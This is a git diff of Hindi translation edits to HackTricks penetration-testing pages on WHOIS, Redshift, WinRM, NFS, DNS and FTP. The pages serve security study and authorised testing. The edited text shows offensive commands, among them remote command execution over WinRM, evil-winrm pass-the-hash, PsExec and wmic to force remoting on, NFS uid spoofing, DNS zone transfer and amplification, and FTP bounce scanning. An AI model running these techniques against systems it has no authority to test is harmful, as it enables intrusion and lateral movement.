-**WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, IP पते के ब्लॉक, और स्वायत्त प्रणालियों सहित हैं। इसके अलावा, प्रोटोकॉल एक व्यापक स्पेक्ट्रम की जानकारी तक पहुँचने में भी उपयोग किया जाता है।
+The **WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, आईपी पते के ब्लॉकों और स्वायत्त प्रणालियों सहित हैं। इसके अलावा, प्रोटोकॉल एक व्यापक स्पेक्ट्रम की जानकारी तक पहुँचने में भी उपयोग किया जाता है।
**डिफ़ॉल्ट पोर्ट:** 43
```
@@ -13,7 +13,7 @@ PORT STATE SERVICE
```
## Enumerate
-एक डोमेन के बारे में जो जानकारी एक whois सेवा के पास है, उसे प्राप्त करें:
+Get all the information that a whois service has about a domain:
```bash
whois -h -p "domain.tld"
echo "domain.ltd" | nc -vn
@@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
-https://book.hacktricks.xyz/pentesting/pentesting-smtp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md
index e8e2642c2..9a4f33238 100644
--- a/src/network-services-pentesting/5439-pentesting-redshift.md
+++ b/src/network-services-pentesting/5439-pentesting-redshift.md
@@ -2,14 +2,14 @@
{{#include ../banners/hacktricks-training.md}}
-## मूल जानकारी
+## Basic Information
यह पोर्ट **Redshift** द्वारा चलाने के लिए उपयोग किया जाता है। यह मूल रूप से **PostgreSQL** का एक AWS संस्करण है।
अधिक जानकारी के लिए देखें:
{{#ref}}
-https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
+https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
index 580dd8576..a15c67276 100644
--- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md
+++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md
@@ -4,9 +4,9 @@
## WinRM
-[Windows Remote Management (WinRM)]() को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, प्रक्रिया में SOAP का लाभ उठाते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए एक HTTP-आधारित इंटरफेस के रूप में प्रस्तुत होता है।
+[Windows Remote Management (WinRM)]() को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, इस प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए एक HTTP-आधारित इंटरफ़ेस के रूप में प्रस्तुत होता है।
-किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सरल दूरस्थ प्रशासन की अनुमति देती है, जैसे कि SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
+किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सीधी दूरस्थ प्रशासन की अनुमति देती है, जैसे SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@@ -15,32 +15,32 @@
### **WinRM सत्र शुरू करना**
-PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet कार्य में आता है, जो कंप्यूटर को दूरस्थ PowerShell कमांड स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell एक्सेस के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित कमांड निष्पादित किए जा सकते हैं:
+PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet काम में आता है, जो कंप्यूटर को दूरस्थ PowerShell आदेश स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell पहुंच के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित आदेश निष्पादित किए जा सकते हैं:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
-इस दृष्टिकोण में `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ना शामिल है, जो इसके प्रभावों के कारण सावधानीपूर्वक विचार की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
+यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी noted किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
-इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से सक्रिय** किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
+इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से** सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
```powershell
wmic /node: process call create "powershell enable-psremoting -force"
```
-यह विधि दूरस्थ रूप से WinRM सेटअप करने की अनुमति देती है, जो दूर से Windows मशीनों का प्रबंधन करने में लचीलापन बढ़ाती है।
+यह विधि दूरस्थ रूप से WinRM की सेटअप की अनुमति देती है, जो दूर से Windows मशीनों का प्रबंधन करने में लचीलापन बढ़ाती है।
### परीक्षण करें कि क्या कॉन्फ़िगर किया गया है
-अपने हमले की मशीन के सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य पर WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक अनकॉन्फ़िगर किए गए लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं:
+अपने हमले की मशीन की सेटअप की पुष्टि करने के लिए, `Test-WSMan` कमांड का उपयोग किया जाता है यह जांचने के लिए कि क्या लक्ष्य ने WinRM को सही ढंग से कॉन्फ़िगर किया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की अपेक्षा करनी चाहिए, जो सफल कॉन्फ़िगरेशन को इंगित करता है। नीचे एक कॉन्फ़िगर किए गए लक्ष्य और एक असंरचित लक्ष्य के लिए अपेक्षित आउटपुट को प्रदर्शित करने वाले उदाहरण दिए गए हैं:
- एक लक्ष्य जो **सही** ढंग से कॉन्फ़िगर किया गया है, उसका आउटपुट इस तरह दिखेगा:
```bash
Test-WSMan
```
-प्रतिक्रिया में प्रोटोकॉल संस्करण और wsmid के बारे में जानकारी होनी चाहिए, जो यह दर्शाता है कि WinRM सही तरीके से सेटअप किया गया है।
+प्रतिक्रिया में प्रोटोकॉल संस्करण और wsmid के बारे में जानकारी होनी चाहिए, जो यह दर्शाता है कि WinRM सही ढंग से सेटअप किया गया है।
.png>)
-- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके लिए कोई ऐसा विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करता है।
+- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके परिणामस्वरूप ऐसी कोई विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करती है।
.png>)
@@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
.png>)
-आप अपने वर्तमान PS कंसोल का एक कमांड **_**Invoke-Command**_ के माध्यम से भी **निष्पादित कर सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर निष्पादित करना चाहते हैं**, आप ऐसा कर सकते हैं:
+आप अपने वर्तमान PS कंसोल का एक कमांड **_**Invoke-Command**_ के माध्यम से भी **निष्पादित कर सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर निष्पादित करना चाहते हैं**, तो आप कर सकते हैं:
```powershell
Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@@ -85,7 +85,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
```
.png>)
-**सत्र एक नए प्रक्रिया (wsmprovhost) में "शिकार" के अंदर चलेगा**
+**सत्र एक नए प्रोसेस (wsmprovhost) में "पीड़ित" के अंदर चलेगा**
### **WinRM को खोलने के लिए मजबूर करना**
@@ -93,7 +93,7 @@ PS Remoting और WinRM का उपयोग करने के लिए
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
-### सत्रों को सहेजना और पुनर्स्थापित करना
+### Saving and Restoring sessions
यह **काम नहीं करेगा** यदि **भाषा** दूरस्थ कंप्यूटर में **सीमित** है।
```powershell
@@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
-तो क्लाइंट पर प्रयास करें (जानकारी [यहां](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
+तो क्लाइंट पर प्रयास करें (जानकारी [यहाँ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@@ -146,15 +146,15 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
```
-**evil-winrm** का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, जिसमें IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
+ईविल-वीएनआरएम का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
-### evil-winrm के साथ हैश पास करें
+### ईविल-वीएनआरएम के साथ हैश पास करें
```ruby
evil-winrm -u -H -i
```
.png>)
-### PS-डॉकर मशीन का उपयोग करना
+### एक PS-docker मशीन का उपयोग करना
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
@@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
-https://book.hacktricks.xyz/pentesting/pentesting-winrm
+https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md
index e5b15ded5..01bad2356 100644
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@@ -18,7 +18,7 @@
- **NFSv2**: यह संस्करण विभिन्न प्रणालियों के साथ इसकी व्यापक संगतता के लिए पहचाना जाता है, जो इसके महत्व को UDP के माध्यम से प्रारंभिक संचालन के साथ चिह्नित करता है। श्रृंखला में **सबसे पुराना** होने के नाते, इसने भविष्य के विकास के लिए आधार तैयार किया।
-- **NFSv3**: कई सुधारों के साथ पेश किया गया, NFSv3 ने अपने पूर्ववर्ती पर विस्तार किया, जिसमें परिवर्तनशील फ़ाइल आकारों का समर्थन और बेहतर त्रुटि रिपोर्टिंग तंत्र प्रदान किया। इसके विकास के बावजूद, इसे NFSv2 क्लाइंट के साथ पूर्ण पूर्ववर्ती संगतता में सीमाओं का सामना करना पड़ा।
+- **NFSv3**: कई सुधारों के साथ पेश किया गया, NFSv3 ने अपने पूर्ववर्ती पर विस्तार किया, जिसमें परिवर्तनशील फ़ाइल आकारों का समर्थन और बेहतर त्रुटि रिपोर्टिंग तंत्र प्रदान किया गया। इसके विकास के बावजूद, इसे NFSv2 क्लाइंट के साथ पूर्ण पूर्ववर्ती संगतता में सीमाओं का सामना करना पड़ा।
- **NFSv4**: NFS श्रृंखला में एक महत्वपूर्ण संस्करण, NFSv4 ने नेटवर्क के बीच फ़ाइल साझा करने को आधुनिक बनाने के लिए डिज़ाइन की गई सुविधाओं का एक सेट पेश किया। उल्लेखनीय सुधारों में **उच्च सुरक्षा** के लिए Kerberos का एकीकरण, फ़ायरवॉल को पार करने और पोर्टमैपर्स की आवश्यकता के बिना इंटरनेट पर संचालन करने की क्षमता, एक्सेस कंट्रोल सूचियों (ACLs) का समर्थन, और स्थिति-आधारित संचालन का परिचय शामिल है। इसके प्रदर्शन में सुधार और स्थिति-आधारित प्रोटोकॉल को अपनाने ने NFSv4 को नेटवर्क फ़ाइल साझा करने की तकनीकों में एक महत्वपूर्ण प्रगति के रूप में अलग किया है।
@@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
-यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर **उपलब्ध** है, आप इसे इस प्रकार पूछ सकते हैं:
+आप यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर पर **उपलब्ध** है, आप इसे पूछ सकते हैं:
```bash
showmount -e
```
@@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
-https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
+https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md
index 1e5a9aa10..8bdc75991 100644
--- a/src/network-services-pentesting/pentesting-dns.md
+++ b/src/network-services-pentesting/pentesting-dns.md
@@ -5,7 +5,7 @@
## **बुनियादी जानकारी**
-**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पते का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र तेजी से इंटरनेट संसाधनों को लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
+**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पतों का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र तेजी से इंटरनेट संसाधनों को लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डिफ़ॉल्ट पोर्ट:** 53
```
@@ -21,9 +21,9 @@ PORT STATE SERVICE REASON
- **गैर-अधिकार प्राप्त नाम सर्वर**: DNS क्षेत्रों पर स्वामित्व की कमी के कारण, ये सर्वर अन्य सर्वरों से प्रश्नों के माध्यम से डोमेन जानकारी एकत्र करते हैं।
- **कैशिंग DNS सर्वर**: इस प्रकार का सर्वर पिछले प्रश्नों के उत्तरों को एक निश्चित समय के लिए याद रखता है ताकि भविष्य के अनुरोधों के लिए प्रतिक्रिया समय को तेज किया जा सके, जिसमें कैश अवधि अधिकार प्राप्त सर्वर द्वारा निर्धारित की जाती है।
- **फॉरवर्डिंग सर्वर**: एक सीधा कार्य करते हुए, फॉरवर्डिंग सर्वर बस प्रश्नों को दूसरे सर्वर पर भेजते हैं।
-- **रिज़ॉल्वर**: कंप्यूटर या राउटर के भीतर एकीकृत, रिज़ॉल्वर स्थानीय रूप से नाम समाधान करते हैं और इन्हें अधिकार प्राप्त नहीं माना जाता है।
+- **रिज़ॉल्वर**: कंप्यूटर या राउटर में एकीकृत, रिज़ॉल्वर स्थानीय रूप से नाम समाधान करते हैं और इन्हें अधिकार प्राप्त नहीं माना जाता है।
-## गणना
+## एन्यूमरेशन
### **बैनर ग्रैबिंग**
@@ -40,13 +40,13 @@ dig version.bind CHAOS TXT @DNS
```
### **कोई रिकॉर्ड**
-रिकॉर्ड **ANY** DNS सर्वर से **सभी उपलब्ध** **एंट्रीज़** **वापस** करने के लिए कहेगा जो **यह प्रकट करने के लिए तैयार है**।
+रिकॉर्ड **ANY** DNS सर्वर से **वापस** सभी उपलब्ध **प्रविष्टियों** को **लौटाने** के लिए कहेगा जो **वह प्रकट करने के लिए तैयार है**।
```bash
dig any victim.com @
```
-### **ज़ोन ट्रांसफर**
+### **Zone Transfer**
-यह प्रक्रिया को संक्षिप्त रूप में `Asynchronous Full Transfer Zone` (`AXFR`) कहा जाता है।
+यह प्रक्रिया को `Asynchronous Full Transfer Zone` (`AXFR`) के रूप में संक्षिप्त किया गया है।
```bash
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
@@ -78,11 +78,11 @@ nslookup
> 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe...
> #Reverse lookup of a machine, maybe...
```
-### उपयोगी मेटास्प्लॉट मॉड्यूल
+### उपयोगी मेटास्प्लॉइट मॉड्यूल
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
-### उपयोगी nmap स्क्रिप्ट्स
+### उपयोगी nmap स्क्रिप्ट
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport"
@@ -95,11 +95,11 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n #Zone transfer
```
> [!NOTE]
-> यदि आप आंतरिक IP-पते को हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए डोमेन के NSs पर एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
+> यदि आप आंतरिक IP-पते पर हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए NSs से एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
इसे करने के लिए एक और उपकरण: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
-आप रिवर्स IP रेंज के लिए पूछताछ कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
+आप रिवर्स IP रेंज को क्वेरी कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
### DNS - उपडोमेन BF
```bash
@@ -130,33 +130,33 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t
```
-IPv6 पतों का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स
+IPv6 पते का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS पुनरावृत्ति DDoS
-यदि **DNS पुनरावृत्ति सक्षम** है, तो एक हमलावर **UDP पैकेट** पर **उत्पत्ति** को **स्पूफ** कर सकता है ताकि **DNS प्रतिक्रिया पीड़ित सर्वर** को भेज सके। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
-यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" ध्वज** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
+यदि **DNS पुनरावृत्ति सक्षम** है, तो एक हमलावर **UDP पैकेट में मूल** को **स्पूफ** कर सकता है ताकि **DNS प्रतिक्रिया को पीड़ित सर्वर** पर भेज सके। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
+यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" फ्लैग** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
```bash
dig google.com A @
```
-**उपलब्ध नहीं**:
+**Non available**:
.png>)
-**उपलब्ध**:
+**Available**:
.png>)
-### अस्तित्वहीन खाते के लिए मेल
+### Mail to nonexistent account
-**पीड़ित के डोमेन का उपयोग करके एक अस्तित्वहीन पते पर ईमेल भेजना** पीड़ित को एक गैर-डिलीवरी सूचना (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
+**एक गैर-मौजूद पते पर ईमेल भेजना** पीड़ित के डोमेन का उपयोग करके पीड़ित को एक गैर-डिलीवरी सूचना (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
-## पोस्ट-एक्सप्लॉइटेशन
+## Post-Exploitation
-- एक बाइंड सर्वर की कॉन्फ़िगरेशन की जांच करते समय **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह बताता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह बताता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
+- जब Bind सर्वर की कॉन्फ़िगरेशन की जांच करें, तो **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह दर्शाता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह दर्शाता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
- निम्नलिखित DNS से संबंधित फ़ाइलों के नाम हैं जो मशीनों के अंदर खोजने के लिए दिलचस्प हो सकते हैं:
```
host.conf
@@ -196,7 +196,7 @@ SERVER {IP}
Domain_Name
exit
-https://book.hacktricks.xyz/pentesting/pentesting-dns
+https://book.hacktricks.wiki/en/todo/pentesting-dns.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md
index 781093f3b..418613784 100644
--- a/src/network-services-pentesting/pentesting-ftp/README.md
+++ b/src/network-services-pentesting/pentesting-ftp/README.md
@@ -33,7 +33,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the
nc -vn 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
-### STARTTLS का उपयोग करके FTP से कनेक्ट करें
+### FTP से starttls का उपयोग करके कनेक्ट करें
```
lftp
lftp :~> set ftp:ssl-force true
@@ -130,37 +130,37 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
-- **`HELP`** सर्वर यह बताता है कि कौन से कमांड समर्थित हैं
-- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां चर "0" और 6वां पोर्ट दशमलव में डालना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)।
-- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**।
+- **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं
+- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां पोर्ट दशमलव में डालना होगा या 5वें और 6वें का उपयोग करके पोर्ट को हेक्स में व्यक्त करना होगा_)।
+- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ एक TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**।
- **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा
- **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो)
- **`APPE /path/something.txt`** यह FTP को **पैसिव** कनेक्शन या **PORT/EPRT** कनेक्शन से प्राप्त डेटा को एक फ़ाइल में संग्रहीत करने के लिए संकेत देगा। यदि फ़ाइल का नाम मौजूद है, तो यह डेटा को जोड़ देगा।
- **`STOR /path/something.txt`** `APPE` की तरह लेकिन यह फ़ाइलों को अधिलेखित करेगा
- **`STOU /path/something.txt`** `APPE` की तरह, लेकिन यदि मौजूद है तो यह कुछ नहीं करेगा।
- **`RETR /path/to/file`** एक पैसिव या पोर्ट कनेक्शन स्थापित करना आवश्यक है। फिर, FTP सर्वर उस कनेक्शन के माध्यम से निर्दिष्ट फ़ाइल भेजेगा
-- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करते हुए, तो उसे 6वें बाइट से शुरू करना चाहिए।
+- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करके, तो उसे 6वें बाइट से शुरू करना चाहिए।
- **`TYPE i`** ट्रांसफर को बाइनरी पर सेट करें
-- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को बताएगा कि वह कहाँ कनेक्ट कर सकता है
+- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को संकेत देगा कि वह कहाँ कनेक्ट कर सकता है
- **`PUT /tmp/file.txt`** निर्दिष्ट फ़ाइल को FTP पर अपलोड करें
.png>)
## FTPBounce हमला
-कुछ FTP सर्वर कमांड PORT की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
+कुछ FTP सर्वर PORT कमांड की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
[**यहाँ जानें कि FTP सर्वर का दुरुपयोग करके पोर्ट कैसे स्कैन करें।**](ftp-bounce-attack.md)
